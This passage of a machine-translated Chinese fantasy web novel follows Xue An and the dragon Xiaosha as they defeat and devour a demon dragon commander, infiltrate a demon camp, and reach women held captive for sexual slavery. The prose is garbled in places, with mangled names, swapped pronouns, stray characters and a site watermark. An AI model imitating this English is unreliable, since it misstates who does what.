    "Little girl, I want to tear you up a little bit!" Ye Qingjiang has already completely gone violently.


    It took a lot of effort to become the commander of this monster army.


    I wanted to completely wipe out this group of local monster races, make a great contribution, and get a lot of appreciation when the younger ones arrive.


    But I didn''t expect these guys to appear at a critical moment.


    Especially this little Jiaolong, actually taking advantage of not paying attention, hit him twice.


    How could this let the arrogant Ye Qingjiang bear it.


    If you can''t kill this little dragon in public, then even if you are completely swept away with prestige, there will be no demons in awe of yourself in the future.


    Therefore, he simply showed his body, and came straight to this little sand.


    Xiao Sha didn''t panic at all, she ducked away from the blow, and then sneered: "You are the **** little girl, and so is your grandma! Your grandpa is a kid!"


    While taking advantage of her mouth, Xiao Sha grabbed Ye Qingjiang''s tail and then roared.


    "Give me... come here!"


    With that, Xiaosha''s arms suddenly thickened several times.


    Ye Qingjiang felt that a huge force was coming, and before he could react, he was directly swept up by Xiaosha.


    Xiao Sha simply regarded this Ye Qingjiang as a whip, and smashed it with his tail.


    Boom boom boom!


    One after another pits were smashed on the ground, and countless demons died under the head of their commander.


    It wasn''t until more than a dozen hits that Xiao Sha let go of his tail, and looked slightly out of breath.


    But at this moment, Ye Qingjiang was dizzy and dizzy, lying on the ground languidly, unable to even fly.


    This hand shocked everyone.


    Especially the demons like Mrs. Bone.


    Because Xiao Sha didn''t even reveal his body, he surrendered a magic dragon, which was incredible.


    Xiao Sha clapped her hands, raised her face triumphantly and smiled at Xue An.


    "Boss, what..."


    Before the words were spoken, the magic dragon rose up and directly entangled it.


    Ye Qingjiang was going crazy now.


    Somehow he was a magic dragon, and he was used as a whip for a long time.


    If you can''t win this game, let alone be the commander-in-chief.


    I didn''t even have a chance to gain a foothold in the future.


    Therefore, he simply used the strongest ultimate move, the Dragon Entangling.


    The most powerful of the dragons and snakes is this trick.


    With similar cultivation bases, it was impossible to resist this kind of death-breathing kiss.


    Zhang Xiaoyu exclaimed, "Master Xianshi, Sister Long, she..."


    Xue An just smiled faintly, "Don''t worry! Wait and see!"


    Xue An has strong confidence in Xiaosha.


    Although this dragon has a good blood.


    But compared with the bloodline contained in Xiaosha''s body...


    This magic dragon is not even worthy of shoes!


    really.


    On this night, Qingjiang tightened his body and laughed triumphantly.


    A big hole suddenly appeared in his body, and then Xiao Sha flew out of it, bringing out blood like a fountain.


    Ye Qingjiang roared in pain and exclaimed in anger, "How is it possible, how could you run out?"


    Xiao Sha wiped the blood of the dragon on his face with disgust, and then said angrily: "You will be transformed, so will my mother!"


    With that said, Xiaosha also showed his body.


    A dragon with its head like a camel, horns like deer, eyes like rabbits, ears like cows, necks like snakes, belly like mirages, scales like carps, claws like eagles, and palms like tigers, appeared in the sky.


    Everyone looked silly.


    Mrs. Bone, the Snake Demon King and others all watched this scene dumbfounded.


    And after that Ye Qingjiang was stunned for a while, he shouted in horror: "Five-claw, how could you be a five-claw!"


    "How could my old lady not be five claws? Little loach, today my old lady will let you know how powerful it is!"


    With that, Xiao Sha patted it with a claw, and directly smashed Ye Qingjiang down from the air.


    Ye Qingjiang didn''t want to resist, but the suppression from the five-clawed dragon made him unable to move at all.


    Among the dragons, although there are distinctions between the dragon gods and dragons, the most important thing is actually the power of blood.


    If you have a powerful bloodline, you will be suppressed by other ordinary dragons from birth.


    This was also the first time, this night Qingjiang looked down on Xiao Sha.


    It''s a small dragon, and it''s still wild, so what kind of blood can it have?


    It is estimated that as soon as she showed her body, she would have to kneel down and worship.


    This was Ye Qingjiang''s thinking at the time.


    But I didn''t expect that when Xiao Sha appeared on his body, it was actually a five-clawed dragon that was stronger than himself.


    This kind of bloodline suppression made Ye Qingjiang unable to resist at all, so he could only lie on the ground and watch Xiaosha in horror.


    Xiao Sha fiddled with Ye Qingjiang like a loach, and Ye Qingjiang''s crying shouts came from time to time.


    "No!"


    "My lord, spare my life, I was wrong!"


    This scene silenced all the demons.


    At this moment, the magic dragon suddenly shrank, Ye Qingjiang turned into a human form again, and then began to run wildly.


    By transforming into a human form, he barely resisted the suppression of his bloodline and tried to escape.


    But there is no way to go above the ground, and there is Xiaosha next to it. Now the only way to escape is to fly away.


    So he rushed directly into the sky and went straight to the sky.


    Xiao Sha originally wanted to chase, but when he saw his escape path, he stopped, and then prepared to watch the excitement in his spare time.


    Because Ye Qingjiang actually went in the direction of Xue An.


    Of course, Ye Qingjiang naturally didn''t know this.


    He noticed that Xiao Sha did not chase from behind and couldn''t help but be overjoyed.


    When I return to the base camp, I will definitely find a way to surrender you and enjoy it!


    Ye Qingjiang was calculating in his heart, had rushed to Xue An''s, and waved impatiently.


    "Get out of here!"


    In his opinion, the most powerful of this group is Xiaosha, and apart from her, he is not afraid of anyone.


    But just as he waved his hand halfway, he suddenly felt that his neck was pinched, and before he could react, he was lifted up.


    Ye Qingjiang was furious and wanted to break free.


    But at this moment, only Xue An said calmly: "Don''t move."


    Ye Qingjiang was very obedient and motionless.


    Because he was extremely horrified to discover that his cultivation base and bloodline were all sealed under this sentence!

 Chapter 515： Dragon Soldier

    "Spare...Spare!"


    Ye Qingjiang said with difficulty, his eyes full of awe and fear.


    This man has sealed his whole body''s cultivation base with just one sentence. How terrible is his strength?


    And he couldn''t see the slightest anger in Xue An''s face.


    But the more so, the more scared he became.


    "Now I ask you to answer, if I notice that you are lying, I will tear you apart a little bit, understand?" Xue An said lightly.


    Ye Qingjiang nodded busy and said yes.


    As a monster, especially a high-level monster, if you want to survive, you must learn to fear and obey when facing the strong.


    Ye Qingjiang knew this very well.


    This is also the reason why he can control a demon army with a not too outstanding strength.


    At this moment, the giant eagle slowly landed, Xue An let go and threw Ye Qingjiang to the ground, then said lightly.


    "Which world do you come from?"


    Upon hearing this question, Mrs. White Bone and other Yaozu all pricked their ears and listened quietly.


    "Master Hui, we are from the Devil Dragon Realm." Ye Qingjiang said respectfully.


    "Devil Dragon Realm? What is your position? The leader or the leader?" Xue An said lightly.


    Hearing Xue An��s question, Ye Qingjiang was shaken all over, raising his head to look at Xue An in disbelief.


    Because what Xue An asked was about the ranks in the magic dragon world.


    How could he know this? Ye Qingjiang is simply puzzling.


    "Master Hui, I am the master of the Demon Dragon Soldier!" Ye Qingjiang lowered his head, not daring to defy the least bit.


    Xue An smiled faintly.


    When he was only a fairy king, he had killed several demon dragon saint masters while traveling through the heavens, so he naturally knew what was going on inside the demon dragon world.


    To put it simply, this dragon is not the same as the real dragon, but more like a Zerg, and attaches great importance to the number of monsters under it.


    Therefore, in the world of magic dragons, to see how strong a dragon is, in addition to looking at his cultivation base, it is to see how many demons he has under his hands.


    The one in charge of one monster army is the master of the army, and the one in charge of ten is the officer in charge, and so on.


    By the time he reached the level of the saint master, he was basically the leading figure in the world of magic dragons.


    However, this Ye Qingjiang is obviously just a small soldier, and it is estimated that he will not be able to reach such a high-level magic dragon.


    "Then what did you come to this world for?"


    Ye Qingjiang smiled bitterly when he heard the words, "My lord, I''m just a small soldier. I don''t know so much. However, I listened to the words of the commander, and came to this world because of a mistake. Stumbled!"


    "Unexpectedly, the secret realm suitable for the survival of the monster race would be so vast, so I temporarily decided to take it for myself. It''s that simple!"


    Hearing Ye Qingjiang''s words, Mrs. White Bone and other monster races all glared. If it weren''t for Xue An''s presence, they would have gone up and swallowed him alive.


    Xue An was speechless.


    The reason why he asked this was because he felt that the timing of the appearance of these dragons was too coincidental.


    These guys appeared during the eventful autumn. Could it be that they also came from the world?


    After thinking for a moment, Xue An then asked: "What is the current situation of Sea-Monster Princess Jiang Meier and the many monsters captured by you?"


    Hearing Xue An''s question, Elder Fox trembled with excitement. He stepped forward and asked, "Yes, what about the Fox Demon Race now?"


    "My lord, I have no access to these monster races, but they should all be imprisoned!"


    "So it should be all right?" Xue An asked.


    "There should be nothing wrong now!"


    "Then have you seen a ship from the world?"


    "World?" Ye Qingjiang obviously didn''t understand what this meant.


    When Xue An waved his hand, a picture appeared in front of him, showing the appearance of a cruise ship.


    "Have you seen such a ship?"


    Ye Qingjiang watched for a while, then nodded, "I''ve seen it! But this is a prisoner captured by the soldier''s commander Jin Jing!"


    Xue An''s heart sank, it seems that Wei Ruyan was really taken captive to this world.


    "What are you doing to capture these ordinary women as prisoners?" Xiao Sha asked.


    Ye Qingjiang chuckled, and said flatly: "Lord Five Claws, human women have a strong attraction to magic dragons, so these women will be assigned to various dragons as slaves!"


    As soon as the voice fell, Xiao Sha Liu''s eyebrows were upended, "Damn! Damn you guys with the brains of the worms!"


    Ye Qingjiang was a little aggrieved by the scolding, and he was still a little puzzled.


    Isn''t it just a few human women, what''s the big deal?


    But when he turned his head to look at Xue An, he was frightened.


    Because Xue An''s complexion was so gloomy and terrifying.


    The atmosphere became dignified, Ye Qingjiang was covered with cold sweat, and said tremblingly: "Big...sir, what else can I ask?"


    Xue An said coldly: "What is the identity of the young man who is coming this time?"


    Ye Qingjiang never dreamed that Xue An even knew this, and his face paled in fright.


    "Yes... is the son of a Lord Lord!"


    After that, Qingjiang paused for a while, and saw that Xue An''s expression was very ugly, so he hurriedly added: "Those captured monster races have to wait for the young and old to arrive before making decisions about how to deal with them!"


    "Then when will he come?"


    "I heard from the time when the base camp sent troops that the young and old will be coming soon. According to the time, it should be within a few days!" Ye Qingjiang said softly.


    Xue An nodded, "Very good! You are very honest!"


    Ye Qingjiang sighed in relief.


    He never thought of lying.


    Because after reaching a certain level of strength, lying can''t be hidden from anyone.


    "Then...sir, can you let me go?" Ye Qingjiang said with a smile on his face.


    Xue An nodded, "Of course!"


    Seeing this scene, Madam White Bone and other monster races all looked sad.


    As for them, I really want to swallow this Ye Qingjiang alive.


    But Xue An caught him, so he naturally has the right to deal with it.


    Moreover, people like myself don''t know others, and they can''t even say what they request.


    When Xue An waved his hand at this time, Ye Qingjiang felt that his sealed cultivation base and bloodline had returned to normal, and he couldn''t help but smile.


    "Thank you, sir, then I will go now!"


    After saying this, I have to leave.


    "Wait!" Xue An said lightly Ye Qingjiang''s figure froze, turned his head slowly, and asked cautiously: "Sir, what else do you have?"


    Xue An showed white teeth and smiled sensibly, "I let you go, but some people don''t seem to want to let you go!"


    "Xiaosha, this guy is yours!"


    Ye Qingjiang was frightened and angry, "You..."


    Before he could say the following words, Xiao Sha fisted and flew out.


    Before he landed, Xiao Sha appeared at his footing point in advance, then clenched his fists with both hands and blasted him directly into the ground.


    Then it became Xiaosha''s performance alone, hitting this Ye Qingjiang from the ground to the sky, and then from the sky to the ground.


    Finally, Ye Qingjiang was dying from being beaten.


    Xue An said calmly: "Swallow him!"

 Chapter 516： Devour blood

    Xue An certainly didn''t let Xiaosha eat the whole night Qingjiang.


    He asked Xiao Sha to use Flood Dragon''s talents and rob him of Ye Qingjiang''s cultivation base and bloodline.


    Xiao Sha Yiyan had magical powers silently, and two deep cold lights suddenly appeared in his eyes.


    Ye Qingjiang felt that his blood was beginning to move around, and he couldn''t help but screamed in fear, "No...no! Please let me go, sir, I will never dare anymore!"


    But it was too late.


    After a while, Ye Qingjiang''s screams stopped abruptly.


    A small dragon radiating bright light flew out from above Ye Qingjiang''s forehead, and was directly swallowed by Xiao Sha.


    At this point, the dragon soldier who drove the legion to slaughter many local monster races, his soul and soul were destroyed.


    The audience was quiet.


    The dark clouds in the sky did not know when they had dissipated, and there was a little bit of starlight.


    Mrs. Bone and her men looked at each other, then took a deep breath and stepped forward.


    "This lord...thank you for your help!"


    Xue An raised his eyes and glanced at Mrs. White Bone, and then said lightly: "It''s just a matter of raising your hand, no thanks!"


    Raise your hand....


    Mrs. Bone couldn''t help showing a wry smile.


    Regarding one thing that other people did with little effort, they almost killed all of them.


    At this time, Xiao Sha came back with a smack on his mouth, burping full while walking.


    "Sister Long, does it taste good?" Zhang Xiaoyu asked.


    Xiaosha glared at her, "Do you know how to eat?"


    Zhang Xiaoyu smiled a little embarrassedly, "Isn''t people hungry just asking this casually!"


    Xiaosha walked forward with a cold snort, and after a few steps, he threw something behind.


    After catching it, Zhang Xiaoyu found it was a bag of food, and was taken aback.


    "I brought a lot when I came out, let''s eat!" Xiao Sha''s voice came.


    The expression on Zhang Xiaoyu''s face gradually changed from dullness to joy, and he nodded heavily, "Yeah! Thank you Sister Long!"


    After I opened the package, I ate it.


    "Is it delicious?" Xiao Sha turned around and asked with a smile.


    Zhang Xiaoyu''s mouth was bulging. After hearing Xiaosha''s question, she nodded quickly, swallowed the food in her mouth with all her strength, and rolled her eyes as she choked.


    "It''s delicious, Sister Long, what is this!"


    "Hey, dry octopus!" Xiao Sha said with a narrow smile.


    Zhang Xiaoyu froze, "Chapter...Dried octopus?"


    Xiao Sha nodded, "Yes!"


    Zhang Xiaoyu''s big eyes quickly covered with a layer of water vapor, and she looked like weeping.


    Xiao Sha Ben thought he would be very excited after seeing this scene, but when he saw it, he felt full of guilt in his heart and couldn''t help coughing a little embarrassingly.


    "Hmm...this..."


    Xiao Shaben wants to say that this is a lie to you, this is not dried octopus at all, and it is made of beef.


    Unexpectedly, Zhang Xiaoyu lowered her head and said in a very regretful tone: "It turns out that my own meat is so delicious. If I had known it earlier, I should have tasted it in the first place!"


    Xiaosha looked at Octopus dumbfounded, and shook his head angrily after the meeting, then turned and left.


    Zhang Xiaoyu looked at Xiaosha''s leaving back, a narrow smile appeared at the corners of his mouth, and whispered: "Huh, want to do something about me? Do you really think I haven''t eaten my own meat? From the first mouth, I knew it. It��s not that the octopus is dry, you want to lie to me?"


    Xue An also saw this episode, couldn''t help but smile, then turned to look at Mrs. Bone and other monsters.


    "Do you have any plans?"


    Mrs. Bone said sadly: "Naturally, heal first!"


    Xue An said lightly: "Is it just to heal your wounds?"


    "My lord means..."


    "Don''t want revenge, regain lost ground?"


    Xue An''s words stunned all the monster races.


    Mrs. Bones said solemnly: "Of course I do!"


    Then his expression became sad again, "It can be our current strength, let alone revenge and regaining lost land, it is even difficult to maintain the existing land!"


    All the monster races also looked gloomy.


    All of them suffered heavy casualties this time, and their vitality was severely wounded. Don''t want to recover without a century of prosperity.


    "This...I can help you!" Xue An said lightly.


    Mrs. Bone was startled, her eyes gradually lit up, and she trembled: "Adult, if you are willing to help us, it will be great! But after all, you only have one person, and the other party has countless monsters. , What should I do?"


    Xue An smiled slightly, nodded to Xiaosha, "Is it all swallowed?"


    Xiao Sha nodded.


    "Then you become him!"


    Xiaosha began to change her appearance according to Xue An''s orders.


    After a while, Xiao Sha suddenly turned into Ye Qingjiang.


    And not only the looks are the same, but the expressions, manners and breath are exactly the same.


    Mrs. Bones watched this scene dumbfounded.


    Xue An said calmly: "Xiaosha pretends to be the warlord of the dragon, and you all pretend to be the demons under him, and then enter the base camp of these demons together to rescue the captured demons. Finally, you can avenge yourself again, okay? "


    Madame Bone and other monster races were silent.


    After a while, Mrs. Bones stepped forward and bowed to salute, "Just as the Lord said!"


    Wei Ruyan carved a scratch on the soil wall with her nails, and then whispered: "This is the fourth day of being caught!"


    Xie Jingjing sat leaning against the wall with a dull gaze, and then murmured, "Sister Ru Yan, can we still go out?"


    Wei Ruyan said firmly: "It definitely can!"


    Xie Jingjing lowered her head and was silent.


    Wei Ruyan sighed, walked over, took Xie Jingjing''s shoulders, and whispered comfortingly: "Don''t be afraid, like sister Ruyan! We will definitely be able to get out alive!"


    At this moment, I heard a woman screaming and crying outside.


    Then I heard the dragon arrogantly laughed and said: "This little lady is good, with delicate skin and tender meat!"


    There seemed to be a guard jailer beside him with a flattering smile, "Master Devil Dragon is really strong enough, this is already the fifth one you chose!"


    The dragon said triumphantly: "Hehe, that can only blame the first four for playing too much!"


    While talking, his voice approached, waiting until these monsters passed by the cell where Wei Ruyan Xie Jingjing was being held.


    Xie Jingjing happened to see the eyes of the girl who was resisted by the demon on her shoulders. UU reading www.uukANAnshu. com


    What kind of eyes are that.


    It''s empty like it''s dead.


    Xie Jingjing was cold all over, waiting for these monsters to go far, still unable to get out of the look in his eyes.


    Wei Ruyan felt something wrong with Xie Jingjing and hurriedly stroked her back gently, "Don''t be afraid! With me, don''t be afraid!"


    Xie Jingjing began to sob in a low voice.


    "Sister Ruyan, I''m not afraid of death, I''m really not afraid of death! What I''m afraid of is... becoming a plaything of these monsters."


    With that, Xie Jingjing grabbed Wei Ruyan''s hand and looked at her with begging eyes.


    "Sister Ruyan, if that time really comes, I ask you to kill me! Okay?"


    Wei Ruyan looked at Xie Jingjing and nodded slightly after a long time.


    "it is good!"

 Chapter 517： Hello, my name is Jiang Meier

    The next two days are as usual.


    When it''s time for the meal, a demon will come over to deliver the meal.


    Although the food is not delicious, it is considered good.


    More importantly, the cell where Wei Ruyan and Xie Jingjing were located seemed to have been forgotten by the demons who came to choose the playthings.


    From the beginning to the end, there was no monster to harass.


    This also made Wei Ruyan secretly relieved.


    Anyway, as long as you can live, you can see hope.


    But different from her optimism.


    Xie Jingjing is increasingly desperate.


    In her opinion, it might be better if you are on Earth now, after all, if that''s the case, Brother Xue An might come to save herself.


    But now I came to a ghost place that I didn''t know where, Brother Xue An wanted to save it, but he probably couldn''t find where he was.


    What''s more, there are all monsters outside that can only be seen in legends.


    In this situation, how could Xie Jingjing not despair?


    On this day, when Wei Ruyan made a sixth scratch on the soil wall.


    The cell door was suddenly opened.


    Then a few demon pawns filed in.


    Xie Jingjing paled with fright, leaning against the corner and shivering.


    Upon seeing this, Wei Ruyan hurriedly stood in front of her and asked coldly: "What are you going to do?"


    Just heard the laughter of a woman, and then "Izumi Noriko" walked in.


    "Your Excellency Ruyan, I haven''t seen you in a few days, is it still a habit to live here?"


    Looking at this monster in a human skin, Wei Ruyan felt her scalp numb, but she still said calmly, "What are you going to do?"


    "Nothing, I just want to invite you to a better place!"


    A better place?


    Wei Ruyan frowned, "I don''t think it''s necessary, it''s fine here!"


    Izumi Noriko shook his head and said in a sharp tone: "I think you should have made a mistake! I am not here to discuss with you, but to order you! Understand? Your Excellency Wei Ruyan!"


    Wei Ruyan was silent.


    She knew that it was useless to talk to these demons!


    But at this time Xie Jingjing let out a terrified cry, "No, I don''t want to go! Sister Ruyan, kill me!"


    She thinks that these guys are going to take themselves out and make themselves the playthings of some demon.


    Izumi Noriko frowned slightly, "Wei Ruyan, I admire you very much, but if this woman yells and screams again, I will throw her to Lord Demon Dragon now!"


    Wei Ruyan hurriedly whispered in Xie Jingjing''s ear: "Jingjing, don''t be afraid, there is me! He shouldn''t let us be a monster''s plaything, let''s follow him first and see what he wants to do!


    Xie Jingjing stopped yelling, and nodded shaking.


    At this moment, in Xie Jingjing''s mind, Wei Ruyan was all her support.


    "Come with me!" Izumi Noriko said, turning to walk forward.


    Wei Ruyan took Xie Jingjing''s hand and followed.


    As she walked, she looked at the surrounding environment.


    This was obviously a cell used to hold recidivists.


    It''s just that it seems to be abandoned now, although people like myself are locked in, but the security is not tight.


    Thinking of this, Wei Ruyan couldn''t help laughing at herself.


    What if it is not strict?


    Can I still run out?


    You know, there are all monsters who kill people without blinking!


    It''s hard to get out of this dungeon.


    The sun is just right outside.


    Wei Ruyan took a deep breath of fresh air, feeling a lot less stuffy in her chest.


    Even Xie Jingjing calmed down a lot at this time.


    Following Izumi Noriko all the way, many monsters rushed to Izumi Noriko, bowing their heads or saying hello.


    Many other demons looked at Wei Ruyan with their suspicion.


    The environment becomes more beautiful as you go, and the building becomes more luxurious.


    at last.


    Izumi Noriko stopped in front of a house built in the middle of the garden.


    "follow me!"


    Speaking and stepped in.


    Wei Ruyan and Xie Jingjing looked at each other, and then followed in silently.


    The layout inside is very luxurious.


    And there are more than a dozen little maids.


    These little maids were trembling slightly, they were all humans.


    Izumi Noriko said lightly: "You will live here in the future! Understand?"


    Wei Ruyan and Xie Jingjing both looked surprised.


    Live here?


    Undeniably, the environment here is much better than in the dungeon.


    But what exactly are they going to do?


    Being suspicious, Izumi Noriko said to the little maids: "Take them down for a bath!"


    The little maid stepped forward and led them to the back.


    In a house behind, there were two big wooden barrels steaming.


    Both Wei Ruyan and Xie Jingjing were a little surprised.


    But he couldn''t resist the temptation to take a bath.


    You know, they all washed at least once a day before.


    Since they were arrested, they have not taken a shower for at least seven or eight days.


    This is unbearable for girls who love to be clean.


    The last two gritted their teeth, no matter what Izumi Noriko planned to do, they took a shower before talking.


    When the two took a hot bath happily, then put on new clothes and walked to the front.


    Noriko Izumi is no longer there.


    The little maid served tea and snacks and carefully waited on the two to eat.


    This left the two of them confused.


    What are these monsters doing?


    While the two of them were drinking tea and eating snacks, Noriko Izumi led a few women in again.


    Wei Ruyan Xie Jingjing looked up and was stunned.


    Because these women who came here are all stunning beauties.


    After Izumi Noriko asked them to go back to take a bath.


    Xie Jingjing quietly reached Wei Ruyan''s ear and said, "Sister Ruyan, these girls...seem to be all monsters!"


    Wei Ruyan nodded. "I can see it too! Let''s see what''s going on first!"


    After waiting for a while, these monster beauties also came out after taking a shower.


    Izumi Noriko smiled at them slightly.


    "You were wronged before. Starting from today, this house is where you live. There are dedicated staff to serve you! I hope you will have a good time!"


    After all Izumi Noriko turned and left.


    These monster beauties looked at Wei Ruyan and Xie Jingjing.


    After a while, I heard that the girl who may not be the most beautiful, but the most elegant girl said: "You... Are you human?"


    Wei Ruyan nodded.


    The talking demon girl smiled bitterly, "I didn''t expect this group of demons and even the humans to come in!"


    Then he stretched out his hand, "Hello, my name is Jiang Meier! The former princess of the Sea-Monster clan!"


    Wei Ruyan was startled slightly, and then stretched out her hand, "My name is Wei Ruyan! This is my sister, Xie Jingjing!"


    After the introduction, Wei Ruyan knew.


    These demon beauties are actually the princesses of major demon tribes.


    For example, the youngest girl who has not developed facial features yet has a stunning face is the little princess of the fox demon clan.

 Chapter 518： Dragon Commander

    In front is the monster base camp in East Binzhou.


    The monsters such as Mrs. Bone looked a little nervous.


    Although on this road, relying on the leadership of Xiaosha who changed into the appearance of Ye Qingjiang, it was safe and sound.


    But after all, what I came to was the gathering place of demons, the most core place.


    Xiaosha asked in a low voice, "Boss, go in directly?"


    Xue An narrowed his eyes slightly, and the huge spiritual thoughts slowly unfolded, covering the entire camp.


    Unsurprisingly, except for a limited number of places, the rest were covered by secret techniques.


    Xue An was about to withdraw his divine consciousness, but at this moment, a very large divine consciousness suddenly rose from the camp.


    "Who is Ernai, who dare to explore the forbidden land with divine mind, really is looking for death!" This divine mind shouted arrogantly, and directly attacked Xue An.


    A sneer appeared at the corner of Xue An''s mouth, and he did not evade, ready to take the blow with his spiritual thought.


    The battle between divine minds is the most dangerous, and if you are not careful, your soul will be destroyed.


    Therefore, Xue An''s refusal to evade or dodge made the spirit that had originally struck by force a little hesitated, and he wanted to withdraw it.


    "The clamor is quite powerful, but in the end you want to withdraw?" Xue An said coldly, chasing directly.


    This divine mind turned around helplessly, and had a fight with Xue An.


    boom!


    An invisible shock wave of divine consciousness spread from the sky above the camp.


    The heads of some low-level monsters exploded directly, and even some high-level monsters turned pale with horror on their faces.


    what happened.


    Why is there such a powerful mental shock wave?


    And after a hard fight with Xue An, this divine mind howled miserably, almost completely destroyed by Xue An.


    Only a strand of remnant soul flew back.


    Xue An didn''t pursue it either, just sneered, and then withdrew his mind.


    Of course, Xiaosha and others didn''t know what happened.


    After Divine Sense withdrew, Xue An opened his eyes and said lightly: "Go straight into the city!"


    Xiaosha was in front, and the demons followed behind, and the team slowly entered this demons base camp.


    at the same time.


    In a study in the center of the camp, a middle-aged man with a wicked face suddenly opened his eyes, then vomited a big mouthful of blood with a pop, and his expression quickly faded.


    "Mr. Crane, what''s the matter?" The commander made Ye Yufeng exclaimed.


    This Mr. Crane is an assistant who is in charge of making Ye Yufeng. He is a demonized crane that takes shape. He is best at mental attacks because of his natural ability.


    When he invaded this secret realm, this Mr. Crane made a great contribution and eliminated many masters of spirituality.


    He usually guards this base camp.


    Unexpectedly, he suddenly vomited blood.


    Mr. Crane waved his hand and said weakly towards Ye Yufeng, "Master Commander, I''m fine! It''s just a divine mind that was destroyed and some injuries!"


    Ye Yufeng''s expression turned gloomy, "Who is it that can hurt Mr. He''s mind?"


    A look of horror flashed in Mr. Crane''s eyes, and then he shook his head with a wry smile, "I don''t know, but through the first battle, I found that this person''s spiritual thoughts are like a vast ocean, unfathomable, and he is really a man. Rival!"


    He paused and said, "Tomorrow, the young and old will come, and there must be no mistakes at this time, so the commanding of the soldiers makes the adults take precautions!"


    Ye Yufeng nodded, "Mr. Crane said that I have sent a few soldiers to patrol around. If there is a strong enemy, it will definitely make him come back and forth!"


    If Mr. Crane wants to say anything else, just listen to the report from the devil outside.


    "My lord, Ye Qingjiang, the night soldier is back!"


    Hearing this news, Ye Yufeng frowned slightly and snorted coldly from his nostrils.


    "This trash didn''t die outside!"


    Then he said: "Inform all the soldiers, come and discuss matters together!"


    "Yes!"


    The devil went down to deliver the letter.


    Soon, the soldiers who were in the base camp arrived.


    Ye Yufeng said solemnly: "Call Ye Qingjiang in!"


    Xiaosha, Xue An and others are waiting outside the study.


    Because Xiaosha is now the leader of the Demon Dragon Soldier, so he stands in the forefront.


    Xue An stood behind her.


    But Xiao Sha is in a bad mood now.


    Because when standing here, those demons who come and go will look at themselves with weird eyes.


    Especially when the arrogant dragon soldiers passed by her just now, the disdain on their faces almost overflowed.


    This made Xiaosha very mad, and I really wished to go up and unscrew these guys'' heads now.


    Xue An saw Xiao Sha''s irritability, and said a word softly.


    "Wait!"


    Xiao Sha felt stiff, and then lowered his head, not daring to have any other thoughts.


    At this moment, a devil came out and smiled at Xiaosha.


    "Lord of the Night Soldier, the commander of the army makes the lord want you in!"


    Xiaosha took a deep breath, suppressed the irritability in her heart, and walked in.


    Xue An will also go in behind.


    The demon''s hand stretched out his hand and stopped, "Hey, what are you doing? The master of the army only lets the night soldier in! The idlers are waiting outside!"


    Xue An smiled slightly, thinking that Ye Qingjiang was so miserable that even a demon dared to bully him.


    All kinds of people are waiting outside, you must know that the dragon soldiers who just entered are all with entourage.


    Xue An was about to talk, Xiao Sha strode over, slapped it in the face, turned the spot of the demon''s fan three times, and then looked at Xiao Sha with his face covered.


    "You are the night soldier..."


    "What are you? Don''t dare to talk nonsense, be careful I will screw your head off!" Xiao Sha said coldly.


    The demon''s body trembled, and he dared not say anything.


    Because in the highly hierarchical Demon Dragon Clan, Xiaosha, as a soldier, killing a demon is the same as slapping a mosquito.


    Xiaosha snorted coldly, and led Xue An into it.


    Wait into this large study room.


    There were a dozen demon dragon soldiers standing on both sides, all looking at Xiaosha with bad eyes.


    And behind that desk sat a tall and mighty man.


    Xiao Sha glanced at and then stepped forward to salute according to Ye Qingjiang''s memory: "Ye Qingjiang has seen a soldier in charge!"


    The soldier in charge sat in a chair and looked at Xiaosha quietly.


    The room was terribly quiet.


    After a while, Ye Yufeng said coldly: "Ye Qingjiang, I will send you to conquer the local monster race, can there be results?"


    "My lord, Zhongshan Prefecture has taken it! But due to the stubborn resistance of the monster clan, my monsters suffered heavy losses, so I had to come back to replenish their troops!" Xiao Sha said according to the wording that she thought on the road.


    "Stubbornly resist... Haha!" Ye Yufeng leaned on the back of his chair and sneered a few times.


    He smiled, and all the soldiers in the room sneered.


    A few even looked at Xiaosha with gleeful eyes.


    "With many excuses, it is actually defeated!" Ye Yufeng suddenly asked coldly.


    "Ye Qingjiang, do you know the crime?"

 Chapter 519： But I dont know why I am guilty?

    This sentence made the whole study quiet.


    All the Demon Dragon Soldiers cast their sights on Xiaosha, and a few even snorted coldly, gloating with misfortune.


    Xiao Shatou didn''t lift his head either, but said in a calm tone, "My lord, but I don''t know why I am guilty?"


    This rhetorical question shocked many people.


    Because in the past, Ye Qingjiang was not like this.


    In the past, Ye Qingjiang had the worst cultivation base, and the soldier made Ye Yufeng dislike him very much, so no matter what he was doing, he was always excluded.


    But no matter how excluded or bullied, this Ye Qingjiang did not dare to complain.


    However, he didn''t expect that he actually dared to question the commander in person today, which really surprised these dragon soldiers.


    Yeyufeng''s face sank like water.


    "Ye Qingjiang, let''s not talk about your failure to conquer the local monster race, just rely on you to confront me. This is a capital crime!"


    Xiao Sha raised her head, her face calm as usual.


    "Oh? But I don''t know why the commander of the army thinks that I am against you, if you know you asked me to convict me first! Isn''t I allowed to ask?"


    Xiao Sha''s sharp rhetorical question made Ye Yufeng''s face turn blue and white.


    He really didn''t expect Ye Qingjiang, who had always been cowardly, to dare to contradict himself so much.


    In anger, he slapped the table in front of him suddenly.


    With a click.


    This wooden table made of iron core wood is turned into powder.


    This kind of momentum made many of the Dragon Soldier Masters look at it, and they all bowed and dared not speak.


    Only Xiaosha stood proudly, watching Ye Yufeng without fear.


    In fact, Xiaosha was a little impatient long ago, but she tried to resist it.


    If this night rain and wind dared to provoke, Xiao Sha wouldn''t mind giving him an unforgettable lesson.


    Xue An stood behind and watched quietly, but did not stop Xiaosha''s actions.


    The purpose of entering the base camp is to rescue the captured Yaozu and Wei Ruyan.


    If it really makes a big deal, Xue An plans to kill all these guys.


    At a time when the atmosphere became extremely solemn.


    Mr. Crane, who had been silent for a long time, said suddenly: "The commanding of the soldiers will calm the anger of the adults, and the young will be coming soon. At this time, the beheading is always not beautiful! Moreover, the Lord of the Night Soldiers did not intend to lose the battle, but also hopes that the commanding will make the adults Haihan one or two !"


    Mr. Crane''s sudden plea made Ye Yufeng astonished, "Mr. Crane..."


    Mr. Crane nodded slightly towards the night rain and wind.


    Ye Yufeng has always been extremely convinced by Mr. Crane, and nodded when he saw his actions like this, "Well, since Mr. Crane has pleaded for you, Ye Qingjiang, this time I will spare you first! Next time, I will draw all your blood! Understand?"


    Xiao Sha was a little disappointed in her heart, but she still said, "Subordinates understand!"


    Ye Yufeng let out a cold snort and did not respond to Xiaosha.


    Then Ye Yufeng roughly arranged the task of welcoming the young and old.


    Many soldiers are assigned, but Xiaosha is left out in the corner, as if forgotten.


    Xiaosha kept her head down, and, in the eyes of others, she was probably suffering from this.


    But they don''t even know.


    Xiaosha is now talking with Xue An using spiritual thoughts.


    "Boss, when is this going to be pretended? It''s so boring, and it''s very suffocating!"


